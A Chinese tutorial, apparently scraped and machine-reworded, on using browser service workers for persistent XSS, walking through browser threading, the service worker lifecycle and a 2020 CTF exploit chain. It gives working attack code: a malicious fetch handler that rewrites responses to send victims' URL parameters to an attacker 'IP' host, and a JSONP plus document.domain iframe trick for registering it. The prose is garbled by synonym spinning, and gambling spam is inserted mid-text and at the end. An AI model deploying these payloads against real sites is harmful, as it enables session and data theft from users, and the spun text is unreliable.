持久化XSS基础 —— xss with service worker
浏览器模子知识
多历程与多线程
浏览器的多历程
以chrome为代表的主流浏览器都是使用多历程的模子,主要有五种历程
- Browser Process: 浏览器主历程,卖力主控和挪用,建立和销毁其他历程。
- GPU Process: 主要卖力GPU相关操作。
- Renderer Process: 每建立一个tab页就会开启一个Renderer Process 卖力对应的tab页的内部网页出现的所有,比如说页面渲染,事宜执行,剧本执行。这个历程是多线程的。它就是常说的浏览器内核
- Plugin Process: 启用一个插件就会建立一个对应的历程。
浏览器的多线程
Renderer Process是浏览器为每一个tab页单独启用的历程,以是每一个Renderer Process 都市有自力的渲染引擎实例。一般来说一个tab下会有如下五个线程
- CUI线程: 这个线程卖力渲染页面的html元素,它再重绘和重排的时刻会执行。这个线程和 JS引擎线程互斥。
HTML渲染大致分为如下几步:
- HTML被HTML剖析器剖析成DOM Tree, css则被css剖析器剖析成CSSOM Tree。
- DOM Tree和CSSOM Tree剖析完成后,被附加到一起,形成渲染树(Render Tree)。
- 节点信息盘算(重排),这个历程被叫做Layout(Webkit)或者Reflow(Mozilla)。即凭据渲染树盘算每个节点的几何信息。
- 渲染绘制(重绘),这个历程被叫做(Painting 或者 Repaint)。即凭据盘算好的信息绘制整个页面。
以上4步简述浏览器的一次渲染历程,理论上,每一次的dom更改或者css几何属性更改,都市引起一次浏览器的重排/重绘历程,而若是是css的非几何属性更改,则只会引起重绘历程。以是说重排一定会引起重绘,而重绘不一定会引起重排。
- JS引擎线程(chrome的V8):JS内核,在后台守候义务,卖力剖析运行 JS 代码,在一个 Renderer 历程之中同时只能有一个 JS 线程。(JS的单线程性)
- 准时触发线程:setTimeout和setInterval的计时器线程,由于 JS 的单线程性,以是设计成又单独的线程计时。
- 事宜触发线程:卖力将浏览器和其他线程触发的相符要求的事宜添加到 JS 引擎行列的末尾,守候 JS 引擎执行。
- 异步请求线程:在XMLHttpRequest在毗邻后是通过浏览器新开一个线程请求, 将检测到状态调换时,若是设置有回调函数,异步线程就发生状态调换事宜放到 JavaScript引擎的处置行列中守候处置。
关于JS单线程的解决
为了多核CPU的盘算能力,HTML5提出Web Worker尺度,允许JavaScript剧本建立多个线程,然则子线程完全受主线程控制,且不得操作DOM。以是,这个新尺度并没有改变JavaScript单线程的本质。
web workers
web workers的观点
Web Worker为Web内容在后台线程中运行剧本提供了一种简朴的方式。线程可以执行义务而不滋扰用户界面。一旦建立, 一个worker 可以将新闻发送到建立它的JavaScript代码, 通过将新闻公布到该代码指定的事宜处置程序(反之亦然)。
web workers的用法
使用组织函数可以建立一个worker工具,组织函数接受一个JavaScript文件的URL,这个文件就是将要在worker线程中运行的代码。值得注意的是worker将会运行在与页面window工具完全差别的全局上下文中。
在worker线程中你可以运行大部分代码,然则有一些破例:
- DOM工具
- window工具的某些属性和方式
- documen工具
- parent工具
详细的信息可以参考:Functions and classes available to Web Workers
特殊种类的web workers
shared workers:可以被差别窗口的对各剧本运行,只要这些workers处于同一个主域。详细的用法会在之后的博文先容
service workers :般作为web应用程序、浏览器和网络(若是可用)之间的署理服务。他们旨在(除开其他方面)建立有用的离线体验,阻挡网络请求,以及凭据网络是否可用接纳合适的行动,更新驻留在服务器上的资源。他们还将允许接见推送通知和后台同步API。
从网络平安的角度看,此woekers可以被行使成一个持久化XSS的工具。
service worker 的简介
service worker的观点
Service worker是一个注册在指定源和路径下的事宜驱动worker。它接纳JavaScript控制关联的页面或者网站,阻挡并修改接见和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是网络不可用)下的显示。
Service worker运行在worker上下文,因此它不能接见DOM。相对于驱动应用的主JavaScript线程,它运行在其他线程中,以是不会造成壅闭。它设计为完全异步,同步API(如XHR和localStorage)不能在service worker中使用。
出于平安考量,Service workers只能由HTTPS(出于调试利便,还支持在localhost使用),究竟修改网络请求的能力露出给中间人攻击会异常危险。在Firefox浏览器的用户隐私模式,Service Worker不可用。
官方文档
1、只能注册同源下的js
2、站内必须支持Secure Context,也就是站内必须是https://
或者http://localhost/
3、Content-Type必须是js
- text/javascript
- application/x-javascript
- application/javascript
总之service worker就是一个介于服务端和客户端的一个 署理服务器。
service worker的基本架构
生命周期
service worker是通过serviceWorkerContainer.register() 来获取和注册的
,,欢迎进入Allbet Gmaing代理(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。
关于Promise
Promise 工具用于示意一个异步操作的最终完成 (或失败)及其效果值。其精髓是支持链式挪用。
一定是以下三种状态之一
- 待定(pending): 初始状态,既没有被兑现,也没有被拒绝。
- 已兑现(fulfilled): 意味着操作乐成完成。
- 已拒绝(rejected): 意味着操作失败。
整个生命流程大致为下面的的几个步骤:
支持的事宜
service worker的作用域
- service worker 只能抓取在 service worker scope 里从客户端发出的请求。
- 最大的 scope 是 service worker 所在的地址
- 若是你的 service worker 被激活在一个有
Service-Worker-Allowed
header 的客户端,你可以为service worker 指定一个最大的 scope 的列表。 - 在 Firefox, Service Worker APIs 在用户在 用户隐私模式 下会被隐藏而且无法使用。
整个service worker的作用域默认是service woker 注册的剧本的路径。这个作用也可以使用跨域的方式扩展。
service worker控制页面返回响应
fetch事宜
使用
ServiceWorker
手艺时,页面的提取动作会在ServiceWorker作用域(ServiceWorkerGlobalScope
)中触发fetch事宜.
service worker可以监听fetch事宜来到达窜改返回,对页面嵌入恶意的srcipt剧本。
几个函数
WorkerGlobalScope.addEventListener(type,listener,option)
event.respondwith(任何自定义的响应天生代码)
这个方式的目的是包裹段可以天生、返回response工具的代码,来控制响应。
Response(body,init)
//这个剧本可以将service worker作用域下的所有请求的url参数打到我的vps上。 //固然你也可以通过返回其他的东西来到达其他的目的。 self.addEventListener('install',function(event){ console.log('install ok!'); }) self.addEventListener('fetch',function(event){ console.log(event.request); event.respondWith( caches.match(event.request).then(function(res){ return new Response('<script>location="http://IP?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }}) }) ) })
service worker的简朴行使
JSONP+service worker
经由的先容,知道了service worker只能使用同源的剧本注册,那么熟悉xss的师傅就很容易想到通过跨域来实现注册恶意剧本,那么JSONP就是一个好的搭配,由于jsonp的返回值都是js花样的,十分相符service worker的要求。
西湖论剑2020的 jsonp
//这段代码最终的效果就是在页面上天生一个 // <script src="https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=输入的参数"></script> //标签 callback = "get_user_login_status"; auto_reg_var();//获取url参数 if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){ jump_url = "/"; } jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){ if(result['status']){ location.href = jump_url; } }) function jsonp(url, success) { var script = document.createElement("script"); if(url.indexOf("callback") < 0){ var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5); url = url + "?" + "callback=" + funName; }else{ var funName = callback; } window[funName] = function(data) { success(data); delete window[funName]; document.body.removeChild(script); } script.src = url; document.body.appendChild(script); } function auto_reg_var(){ var search = location.search.slice(1); var search_arr = search.split('&'); for(var i = 0;i < search_arr.length; i++){ [key,value] = search_arr[i].split("="); window[key] = value; } }
文件上传+service worker
若是有文件上传的点,可以实验上传恶意js剧本,一般来说上传的js代码也是js花样的。
service worker综合跨域扩展攻击
西湖论剑2020xss
在这个环境内里,有两个域名auth.hardxss.xhlj.wetolink.com
和xss.hardxss.xhlj.wetolink.com
jsop的点在 auth 子域名内里,xss的点在 xss 子域名内里,并且在xss页面有一个设置document.domian=hardxss.xhlj.wetolink.com
的内容。
<script type="text/javascript"> document.domain = "hardxss.xhlj.wetolink.com"; </script>
我们就可以实验使用设置doucment.domain的方式来执行
document.domain = "hardxss.xhlj.wetolink.com"; var if = document.createElement('iframe'); if.src = 'https://auth.hardxss.xhlj.wetolink.com/'; if.addEventListener("load", function(){ iffLoadover(); }); document.body.appendChild(if); exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('vps/test.js')")`;//获取代码,要求https function iffLoadover(){ iff.contentWindow.eval(exp);//注册代码 }
test.js
self.addEventListener('install',function(event){ console.log('install ok!'); }) self.addEventListener('fetch',function(event){ console.log(event.request); event.respondWith( caches.match(event.request).then(function(res){ return new Response('<script>location="http://IP?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }}) }) ) })
Allbet Gaming声明:该文看法仅代表作者自己,与本平台无关。转载请注明:电银付(dianyinzhifu.com):持久化xss基础
电银付APP安装教程(dianyinzhifu.com)是官方网上推广平台。在线自动销售电银付激活码、电银付POS机。提供电银付安装教程、电银付使用教程、电银付APP使用教程、电银付APP安装教程、电银付APP下载等技术支持。面对全国推广电银付加盟、电银付大盟主、电银付小盟主业务。这个不差的
www.allbetgame.uswww.sunbet.us欢迎进入欧博平台网站(www.allbetgaming.net),www.allbetgaming.net开放欧博平台网址、欧博注册、欧博APP下载、欧博客户端下载、欧博游戏等业务。一定持续创作啊